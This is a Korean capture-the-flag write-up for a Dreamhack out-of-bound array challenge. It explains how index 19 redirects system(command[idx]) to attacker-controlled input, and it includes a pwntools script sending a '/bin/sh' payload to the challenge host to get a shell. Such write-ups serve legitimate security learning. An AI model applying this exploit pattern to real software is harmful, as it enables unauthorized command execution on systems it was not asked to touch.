out of bound란
배열은 데이터들의 연속된 집합이므로, 배열의 크기를 벗어나는 index를 줬을 때 그 위치에 해당하는 데이터에 비정상적으로 접근할 수 있는 것을 악용하는 것이 out of bound 공격의 개념이다.
out of bound의 개념 자체는 굉장히 단순해서 이 카테고리(Stage 9)에서 개념을 설명하는 글은 생략했다.
보호 기법
소스 코드
exploit 설계
1. read(0, name, sizeof(name));을 통해 name에 "name[4]의 주소"+"/bin/sh\x00"을 넣은 후
2. scanf("%d", &idx);을 통해 system(command[idx]);의 command[idx]가 char name을 참조하게 하여 system("/bin/sh")이 실행되게 한다.
★"name[4]의 주소" + "/bin/sh\x00"에서 name[4]의 주소를 넣어주는 이유는 system의 인자는 const *char형이기 때문이다. 따라서 name[4]의 위치부터 원하는 인자를 넣어주고, name[0]의 위치에는 name[4]의 주소를 적어 system(const *char)가 name[4]를 참조하게 하여, 내가 원하는 값을 인자로 하는 system 함수를 실행하게 하기 위함이다.
name[ ]과 command[ ] 주소 계산
name[ ]이 command[ ]보다 76만큼 뒤에 위치해있음을 알 수 있다. 따라서
scanf("%d", &idx);
system(command[idx]);
에서 idx의 값으로 19를 줘서(->command는 char *형 배열이기 때문에 32bit 아키텍처에서는 한 원소가 4byte만큼의 크기를 차지한다. 따라서 4*19 = 76) system()이 name[0]을 참조하게 하면 될 것이다.
exploit(out_of_bound.py)
from pwn import *
context.arch = 'i386'
p = remote('host3.dreamhack.games', 12287)
payload = p32(0x0804a0ac+4) + b"/bin/sh\x00"
p.sendafter(b'Admin name: ', payload)
p.sendafter(b'What do you want?: ', b'19')
p.interactive()